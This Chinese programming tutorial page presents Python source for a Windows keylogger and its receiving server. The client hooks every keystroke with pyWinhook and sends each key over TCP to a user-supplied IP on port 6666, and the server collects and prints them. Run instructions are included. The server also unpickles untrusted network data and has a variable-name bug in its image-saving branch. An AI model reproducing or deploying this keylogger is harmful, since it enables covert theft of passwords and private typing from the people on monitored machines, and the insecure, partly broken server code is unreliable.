python实现监听键盘

python实现监听键盘,供大家参考,具体内容如下实现服务端

import picklefrom io import BytesIOimport socket#接收数据def Server_Recive(ip,port):    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    socket_obj.bind((ip,port))    socket_obj.listen(5)    file = 1    while True:        connection,address = socket_obj.accept()  #接受的数据        recieved_message = b''        recieved_message_fragment = connection.recv(1024)        while recieved_message_fragment:            recieved_message += recieved_message_fragment            recieved_message_fragment = connection.recv(1024)        try:            obj = pickle.loads(recieved_message)            print(obj['Key'],end=' ')        except EOFError:            file_name = 'recv_image_' + str(file_on) + '.bmp'            recv_image = open(file_name,'wb')            recv_image.write(recieved_message)            file_on += 1        connection.close()if __name__ == '__main__':    Server_IP = '0.0.0.0'    Server_Port = 6666    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听import pythoncom,pyWinhook,pickle,socketfrom io import BytesIOdef Client_PIC(ip,port,obj):    try:        msg = pickle.dumps(obj)        send_message = BytesIO(msg)        send_message_fragment = send_message.read(1024)    except:        send_message = obj        send_message_fragment = send_message.read(1024)    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    socket_obj.connect((ip,port))    while send_message_fragment:        socket_obj.send(send_message_fragment)        send_message_fragment = send_message.read(1024)    socket_obj.close()def OnkeyBoardEvent(event):    dict_key = {}    dict_key['MessageName'] = event.MessageName    dict_key['Key'] = event.Key    Client_PIC('你自己的ip地址',6666,dict_key)    return Truedef Keylogger():    hm = pyWinhook.HookManager()    hm.KeyDown = OnkeyBoardEvent    hm.HookKeyboard()    pythoncom.PumpMessages()if __name__ == '__main__':    Keylogger() 

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 。

相关文章

发表新评论